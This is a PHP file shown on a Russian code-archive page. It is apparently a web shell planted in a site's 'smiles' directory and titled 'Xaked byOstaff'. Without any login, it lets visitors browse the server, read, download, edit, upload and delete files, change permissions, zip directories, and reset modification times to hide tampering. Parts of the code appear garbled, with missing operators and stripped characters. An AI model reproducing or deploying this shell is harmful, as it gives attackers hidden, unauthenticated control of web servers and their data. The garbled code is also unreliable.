Вход Регистрация
Файл: archive/www/musimka.ru/smiles/file.php
Строк: 303
<?
Error_reporting
(1);
//Error_Reporting(E_ALL & ~E_NOTICE);
header('Content-type:text/html; charset=utf-8');
// функция изменения времени модификации файла
function changetime($FileName$Fmtime)
    {
if(@
strtotime($Fmtime)=='')
{ return 
"<br/>Время не корректное!<br/>";} else { $mtime strtotime($Fmtime); }

if (@
exec("touch {$FileName}")) $exec=1;
else
  {
if (@
touch ($FileName$mtime))
{
$msg "<b>Время последней модификации файла:</b>: ".(date("d.m.Y H:i:s"filemtime($FileName)))."<br/><b>Время последнего доступа к файлу:</b> ".(date("d.m.Y H:i:s"fileatime($FileName)))."<br/><b>Время создания файла:</b>: ".(date("d.m.Y H:i:s"filectime($FileName)));
}
  }
  
  if(
$exec==1) return "Время изменено из командной строки<br/>";
  elseif(
$msg) return "Время изменено средствами РНР<br/>$msg";
  else return 
"Не удалось изменить время последней модификации файла <b>$FileName</b><br/>";
    }
// end
if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){
list(
$msec,$sec)=explode(chr(32),microtime()); 
$HeadTime=$sec+$msec
echo
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Xaked byOstaff</title>
<style type="text/css">
body {
font-family: verdana;
font-size: 11px;
color: #B4B4B4;
background-color:#000000;}
a {
color: #B6FF48;
text-decoration:none;}
a:hover {
color: yellow;
text-decoration: underline; 
}
table{
padding: 0px;
margin: 0px;
border: 0px #B6FF48;
background-color: #000;
}

td {
    border: 1px solid #B6FF48;
    font-family: verdana, geneva, lucida, arial;
    background-color: #333;
    color: #B4B4B4;
    text-decoration: none;
    font-size: 11px;
    font-weight: bold;
    width:100%;
    padding-left: 2px;
    padding-right: 2px;
    padding-top: 1px;
    padding-bottom: 2px;
    text-align: left;
}

input,textarea
{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;
color: #B4B4B4;
background-color: #333333;
border-color: #424242;
border-left: 1px solid #0A0A0A;
border-top: 1px solid #0A0A0A;
border-right: 1px solid #2C2C2C;
border-bottom: 1px solid #2C2C2C;}
input:hover, textarea:hover {
border-color: #B6FF48;
color: #B6FF48;}
input:focus, textarea:focus {
border-color: #B6FF48;
color: #ffffff;}

submit{font: normal 11px verdana, geneva, lucida, arial, helvetica, sans-serif;
color: #B4B4B4;
background-color: #333333;
border-color: #424242;
border-left: 1px solid #0A0A0A;
border-top: 1px solid #0A0A0A;
border-right: 1px solid #2C2C2C;
border-bottom: 1px solid #2C2C2C;
font-weight: bold;
}
submit:hover {
border-color: #11A3EA;
color: #11A3EA;}
submit:focus {
border-color: #11A3EA;
color: #ffffff;}

</style>
</head><body>'
;}
/////////////////////////////////
//////////Файл менеджер//////////
/////////////////////////////////
if(empty($_GET['r']) & empty($_GET['input']) & empty($_GET['ren']) & empty($_GET['setchmod']) & empty($_GET['download']) & empty($_GET['up']) & empty($_GET['upload']) & empty($_GET['chmod']) & empty($_GET['rename']) & empty($_GET['rmdir']) & empty($_GET['made']) & empty($_GET['madedir']) & empty($_GET['create']) & empty($_GET['createdir']) & empty($_GET['del']) & empty($_GET['deldir']) & empty($_GET['f']) & empty($_GET['edit']) & empty($_GET['zip'])& empty($_GET['img']) & empty($_GET['touchfile']) & empty($_GET['touch'])){
echo
'<b>Файл менеджер</b><hr>';
if(empty(
$_GET['d'])){$d="./";}
else{
$d=$_GET['d'];}
if(
$d=="./"){$vverh='.'.$d;}
if(
$d!=="./"){$vverh=$d.'../';}
echo
'<a href="?d='.$vverh.'">[..] вверх</a><br>
<a href="?create='
.$d.'">Создать файл </a><br>
<a href="?createdir='
.$d.'">Создать папку</a><br>
<a href="?up='
.$d.'">Загрузить файл</a><br><br>';
echo 
'<b>Папки:</b><table>';
$dir opendir($d);
while(
$file readdir($dir)){
if(
is_dir($d.'/'.$file)){
if(
$file != "." && $file != ".."){
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
echo
'<tr><td width="400"><img src="?img=1" alt=""><a href="?d='.$d.$file.'/">'.$file.'</a></td><td> DIR </td><td>'.(date("d.m.Y/H:i:s"filemtime($d))).'</td><td>'.$mod.'</td><td><a href="?zip='.$d.$file.'/">[zip]</a></td><td><a href="?deldir='.$d.$file.'/"><font color="#FF0000">[удал.]</font></a></td><td><a href="?ren='.$d.$file.'/">[переимен.]</a></td><td><a href="?chmod='.$d.$file.'/">[chmod]</a></td><td><a href="?rmdir='.$d.$file.'/"><font color="#FF0000">[rem]</font></a></td></tr>';}}}
echo
'</table><br/><b>Файлы:</b><table>';
$dir opendir($d);
while(
$file readdir($dir)){
if(
is_file($d.'/'.$file)){
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
echo
'<tr><td width="350"><img src="?img=2" alt=""><a href="?r='.$d.$file.'">'.$file.'</a></td><td>'.(date("d.m.Y"filemtime($d.$file))).'</td><td>'; echo round(filesize("$d/$file")/1024,1); echo'&nbsp;КБ</td><td>'.$mod.'</td><td><a href="?f='.$d.$file.'">[ред.]</a></td><td><a href="?del='.$d.$file.'"><font color="#FF0000">[удал.]</font></a></td><td><a href="?ren='.$d.$file.'">[переимен.]</a></td><td><a href="?chmod='.$d.$file.'">[chmod]</a></td><td><a href="?download='.$d.$file.'">[скачать]</a></td><td><a href="?touchfile='.$d.$file.'">[дата]</a></td></tr>';}}
echo
'</table>';}
/////////////////////////////////
/////////Переименование//////////
/////////////////////////////////
if(isset($_GET['ren'])){
echo
'<b>Переименование</b><hr>';
echo
'<form action="?rename='.$_GET['ren'].'" method="post">
<input name="new_name" value="'
.$_GET['ren'].'"><br>
<input type="submit" value="Переименовать!">'
;}
/////////////////////////////////
////////////Картинки/////////////
/////////////////////////////////
if(isset($_GET['img'])){
$images = array("",
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7");
header("Content-type: image/gif");
echo 
base64_decode($images[$img]);}
/////////////////////////////////
/////////Аплоад файлов///////////
/////////////////////////////////
if(isset($_GET['up'])){
echo
'<b>Загрузка файлов</b><hr>';
echo
'<form method="post" enctype="multipart/form-data">
<input type="hidden" name="upload" value="'
.$_GET['up'].'">
<input type="file" name="file"><br>
Сохранить как:<br><input type="text" name="new_name" value=""><br>
<input type="submit" value="Загрузить"></form>'
;}
/////////////////////////////////
/////////Аплоад файлов///////////
/////////////////////////////////
if(isset($_POST['upload'])){
$new_name=trim($_POST['new_name']);
if(
copy($_FILES["file"]["tmp_name"], $_POST['upload'].$new_name)){
echo 
'Файл успешно загружен';}
else{echo 
'Загрузка файла не удалась!';}}
/////////////////////////////////
////////////Download/////////////
/////////////////////////////////
if(isset($_GET['download'])){
$file file_get_contents($_GET['download']);
$name explode("/",$_GET['download']);
$name $name[count($name)-1];
header('Content-type: text/plain');
header("Content-disposition: attachment; filename=$name");
echo 
$file;}
/////////////////////////////////
/////////////Время модиф//////////////
/////////////////////////////////
if(isset($_GET['touchfile'])){
echo
'<b>Изменение времени модификации '.$_GET['touchfile'].'</b><hr>';
echo
'<form action="?touch='.$_GET['touchfile'].'" method="post">
<input name="mtime" value="'
.(date("d.m.Y H:i:s"filemtime($_GET['touchfile']))).'"><br>
<input type="submit" value="Изменить время!">'
;}
/////////////////////////////////
/////////////Время модиф ок//////////////
/////////////////////////////////
if(isset($_GET['touch']))
{
echo
'<b>Изменение времени</b><hr>';
echo 
changetime($_GET['touch'], $_POST['mtime']);
}
/////////////////////////////////
/////////////Chmods//////////////
/////////////////////////////////
if(isset($_GET['chmod'])){
echo
'<b>Chmods</b><hr>';
$mod=substr(sprintf("%o",fileperms($_GET['chmod'])),-3);
echo
'<form action="?setchmod='.$_GET['chmod'].'" method="post">
<input name="chmods" value="'
.$mod.'"><br>
<input type="submit" value="Задать chmod!">'
;}
/////////////////////////////////
/////////////Chmods//////////////
/////////////////////////////////
if(isset($_GET['setchmod'])){
echo
'<b>Chmods</b><hr>';
if(
chmod($_GET['setchmod'],octdec($_POST['chmods']))){echo'Chmod '.$_POST['chmods'].' заданы!';}
else {echo
'Ошибка задавания chmod '.$_POST['chmods'].'!';}}
/////////////////////////////////
///////Удаление директории///////
/////////////////////////////////
if(isset($_GET['rmdir'])){
echo
'<b>Удаление директории</b><hr>';
$dir opendir($_GET['rmdir']);
while(
$dirs readdir($dir)){
if(
is_dir($_GET['rmdir'].$dirs)){
if(
$dirs != "." && $dirs != ".."){
$poddir rmdir($_GET['rmdir'].$dirs);}}}
closedir($dir);
$ddir rmdir($_GET['rmdir']);
if(
$ddir){echo'Директория удалена!';}
if(!
$ddir){echo'Ошибка удаления!';}
if(
$poddir){echo'<br>Поддиректории удалены!';}
if(!
$poddir){echo'<br>Поддиректории не существуют или ошибка удаления!';}}
/////////////////////////////////
////////Переименование///////////
/////////////////////////////////
if(isset($_GET['rename'])){
echo
'<b>Переименование</b><hr>';
$name rename($_GET['rename'],$_POST['new_name']);
if(
$name){echo'Переименовано!';}
if(!
$name){echo'Ошибка переименования!';}}
/////////////////////////////////
//////////Чтение файла///////////
/////////////////////////////////
if(isset($_GET['r']))
{
echo
'<b>Чтение файла</b><hr>';

$file=file($_GET['r']);
  if(
function_exists('iconv'))
  {
  echo 
'<small>';
  
$filegc=file_get_contents($_GET['r']);
  if(!empty(
$filegc))
    {
      if(
function_exists('mb_check_encoding'))
      {
        if(!
mb_check_encoding ($filegc'UTF-8'))
        {
for(
$i=0$i<count($file); $i++)
{
echo 
$file[$i] = htmlspecialchars(iconv("Windows-1251""UTF-8"$file[$i])).'<br/>';
}
        }        
        else
        {
for(
$i=0$i<count($file); $i++)
{
echo 
htmlspecialchars($file[$i]).'<br/>';
}
        }
      }
    } 
  echo 
'</small>';
  }
  else
  {
  echo 
"utf: ";
if(
$file){
echo 
'<small>';
for(
$i=0$i<count($file); $i++){
$file[$i] = htmlspecialchars($file[$i]);
echo 
''.$file[$i].'<br>';}
echo 
'</small>';}
if(!
$file){echo'Ошибка чтения файла!';}
  }
echo 
'<hr>';
}
/////////////////////////////////
/////////Удаление файла//////////
/////////////////////////////////
if(isset($_GET['del'])){
echo
'<b>Удаление файла</b><hr>';
$delete unlink($_GET['del']);
if(
$delete){print 'Файл <b>'.$_GET['del'].'</b> удален!<hr>';}
if(!
$delete){print 'Ошибка удаления файла <b>'.$_GET['del'].'</b>!';}}
/////////////////////////////////
//Удаление файлов из каталогов///
/////////////////////////////////
if(isset($_GET['deldir'])){
echo
'<b>Удаление файлов из каталогов</b><hr>';
$dir opendir($_GET['deldir']);
while(
$files readdir($dir)){
if(
is_file($_GET['deldir'].$files)){
$del unlink($_GET['deldir'].$files);}
if(
is_dir($_GET['deldir'].$files) && $files !="." && $files !=".."){
$odir opendir($_GET['deldir'].$files);
while(
$reddir readdir($odir)){
if(
is_file($_GET['deldir'].$files.'/'.$reddir)){
$delet unlink($_GET['deldir'].$files.'/'.$reddir);}}}}
if(
$del){print 'Файлы из директории <b>'.$_GET['deldir'].'</b> удалены!';}
if(!
$del){print 'Ошибка удаления файлов из из директории <b>'.$_GET['deldir'].'</b>!';}
if(
$delet){print'<br>Файлы из подкаталогов в директории <b>'.$_GET['deldir'].'</b> удалены!';}
if(!
$delet){print'<br>Ошибка удаления Файлов из подкаталогов в директории <b>'.$_GET['deldir'].'</b>!';}}
/////////////////////////////////
//////Редактирование файла///////
/////////////////////////////////
if(isset($_GET['f'])){
echo
'<b>Редактирование файла</b><hr>';
$file file_get_contents($_GET['f']);
      if(
function_exists('mb_check_encoding'))
      {
        if(!
mb_check_encoding ($file'UTF-8'))
$file htmlspecialchars(iconv("Windows-1251""UTF-8"$file));        
        else
$file htmlspecialchars($file);
      }
      else
      {
$file htmlspecialchars($file);
      }
echo
'<form action="?edit='.$_GET['f'].'" method="post">
<textarea cols="100" rows="25" name="text">'
.$file.'</textarea><br>
<input type="hidden" value="'
.(filemtime($_GET['f'])).'" name="mt">
<input type="submit" value="Редактировать!">'
;}
/////////////////////////////////
//////Редактирование файла///////
/////////////////////////////////
if(isset($_GET['edit'])){
echo
'<b>Редактирование файла</b><hr>';
$fp fopen($_GET['edit'],"w");
fputs($fp,$_POST['text']);                                   
fclose($fp);
if(!empty(
$_POST['mt']))
{
if (@
touch ($_GET['edit'], $_POST['mt'])) $msg '<br/><small>(дата файла не изменилась)</small>';
}  else 
$msg '<br/><small>(дата файла изменилась, пробуйте использовать кнопку [дата])</small>';
if(
$fp){echo'Файл отредактирован!'.$msg;}
if(!
$fp){echo'Ошибка записи файла!';}
}
/////////////////////////////////
/////////Создание файла//////////
/////////////////////////////////
if(isset($_GET['create'])){
echo
'<b>Создание файла</b><hr>';
echo
'<form action="?made='.$_GET['create'].'" method="post">
<input name="new_name" value="Имя файла"><br>
<textarea cols="100" rows="15" name="new_file"><?php '
.("rnrnrn").' ?></textarea><br>
<input type="submit" value="Создать!">'
;}
/////////////////////////////////
/////////Создание файла//////////
/////////////////////////////////
if(isset($_GET['made'])){
echo
'<b>Создание файла</b><hr>';
$fp fopen($_GET['made'].$_POST['new_name'],"w");
fputs($fp,$_POST['new_file']);                                   
fclose($fp);
chmod($_GET['made'].$_POST['new_name'], 0777);
if(
$fp){echo'Файл создан!';}
if(!
$fp){echo'Ошибка создания файла!';}}
/////////////////////////////////
/////////Создание папки//////////
/////////////////////////////////
if(isset($_GET['createdir'])){
echo
'<b>Создание папки</b><hr>';
echo
'<form action="?madedir='.$_GET['createdir'].'" method="post">
<input name="new_dirname" value="Имя папки"><br>
<input type="submit" value="Создать!">'
;}
/////////////////////////////////
/////////Создание папки//////////
/////////////////////////////////
if(isset($_GET['madedir'])){
echo
'<b>Создание папки</b><hr>';
if(
mkdir($_GET['madedir'].$_POST['new_dirname'],0777)){echo'Папка создана!';} else {echo'Ошибка создания папки!';}
}
/////////////////////////////////
//////////Зипирование////////////
/////////////////////////////////
if(isset($_GET['zip'])){

class 
zipfile
{

    var 
$datasec = array(); 
    var 
$ctrl_dir = array(); 
    var 
$eof_ctrl_dir "x50x4bx05x06x00x00x00x00"
    var 
$old_offset 0;

    function 
add_dir($name)

    {
        
$name str_replace("\", "/", $name);

        
$fr = "x50x4bx03x04";
        
$fr .= "x0ax00";   
        
$fr .= "x00x00";   
        
$fr .= "x00x00";   
        
$fr .= "x00x00x00x00"; 
        
$fr .= pack("V",0); 
        
$fr .= pack("V",0); 
        
$fr .= pack("V",0); 
        
$fr .= pack("v", strlen($name) ); 
        
$fr .= pack("v", 0 ); 
        
$fr .= $name;
        
$fr .= pack("V",$crc); 
        
$fr .= pack("V",$c_len); 
        
$fr .= pack("V",$unc_len); 
        
$this -> datasec[] = $fr;
        
$new_offset = strlen(implode("", $this->datasec));
        
$cdrec = "x50x4bx01x02";
        
$cdrec .="x00x00";    
        
$cdrec .="x0ax00";    
        
$cdrec .="x00x00";    
        
$cdrec .="x00x00";   
        
$cdrec .="x00x00x00x00"; 
        
$cdrec .= pack("V",0); 
        
$cdrec .= pack("V",0); 
        
$cdrec .= pack("V",0); 
        
$cdrec .= pack("v", strlen($name) ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$ext = "x00x00x10x00";
        
$ext = "xffxffxffxff";
        
$cdrec .= pack("V", 16 ); 
        
$cdrec .= pack("V", $this -> old_offset ); 
        
$this -> old_offset = $new_offset;
        
$cdrec .= $name;
        
$this -> ctrl_dir[] = $cdrec;
    }


    function add_file(
$data$name)
    { 
$name = str_replace("\", "/", $name);
$fr = "x50x4bx03x04";
        
$fr .= "x14x00";    
        
$fr .= "x00x00";    
        
$fr .= "x08x00";    
        
$fr .= "x00x00x00x00"; 

        
$unc_len = strlen($data);
        
$crc = crc32($data);
        
$zdata = gzcompress($data);
        
$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); 
        
$c_len = strlen($zdata);
        
$fr .= pack("V",$crc); 
        
$fr .= pack("V",$c_len); 
        
$fr .= pack("V",$unc_len); 
        
$fr .= pack("v", strlen($name) ); 
        
$fr .= pack("v", 0 ); 
        
$fr .= $name;
        
$fr .= $zdata;
        
$fr .= pack("V",$crc); 
        
$fr .= pack("V",$c_len); 
        
$fr .= pack("V",$unc_len); 
        
$this -> datasec[] = $fr;
        
$new_offset = strlen(implode("", $this->datasec));
        
$cdrec = "x50x4bx01x02";
        
$cdrec .="x00x00";    
        
$cdrec .="x14x00";  
        
$cdrec .="x00x00";   
        
$cdrec .="x08x00";   
        
$cdrec .="x00x00x00x00"; 
        
$cdrec .= pack("V",$crc); 
        
$cdrec .= pack("V",$c_len); 
        
$cdrec .= pack("V",$unc_len);
        
$cdrec .= pack("v", strlen($name) ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("v", 0 ); 
        
$cdrec .= pack("V", 32 ); 

        
$cdrec .= pack("V", $this -> old_offset ); 
        
$this -> old_offset = $new_offset;

        
$cdrec .= $name;
        
$this -> ctrl_dir[] = $cdrec;
    }

    function file() { 
        
$data = implode("", $this -> datasec);
        
$ctrldir = implode("", $this -> ctrl_dir);
        return
            
$data.
            
$ctrldir.
            
$this -> eof_ctrl_dir.
            pack("
v", sizeof($this -> ctrl_dir)).    
            pack("
v", sizeof($this -> ctrl_dir)). 
            pack("
V", strlen($ctrldir)).   
            pack("
V", strlen($data)).    
            "
x00x00"; }}
$abort = ignore_user_abort(1);
$zipfile = new zipfile();
$fdir = opendir($_GET['zip']);
while(
$file = readdir($fdir)){
if (
$file != '.' and $file != '..'){
if (is_file(
$_GET['zip'].$file)){$zipfile->add_file(file_get_contents($_GET['zip'].$file),$file);}
if (is_dir(
$_GET['zip'].$file)){
$sdir = opendir($_GET['zip'].$file);
while(
$sfile = readdir($sdir)){
if (
$sfile != '.' and $sfile != '..'){
if (is_file(
$_GET['zip'].$file.'/'.$sfile)){$zipfile->add_file(file_get_contents($_GET['zip'].$file.'/'.$sfile), $file.'/'.$sfile);}}}}}}
$name = explode("/",$_GET['zip']);
$file = $name[count($name)-2];
header('Content-type: application/octet-stream');
header("
Content-dispositionattachmentfilename=$file.zip");
echo 
$zipfile->file();}

if(empty(
$_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){
echo'<br><a href="
?d='.$vverh.'">Назад</a>
<br>';
list(
$msec,$sec)=explode(chr(32),microtime());  
echo round(((
$sec+$msec)-$HeadTime),4).' cek.'; 
echo'</body></html>';}
?>
Онлайн: 3
Реклама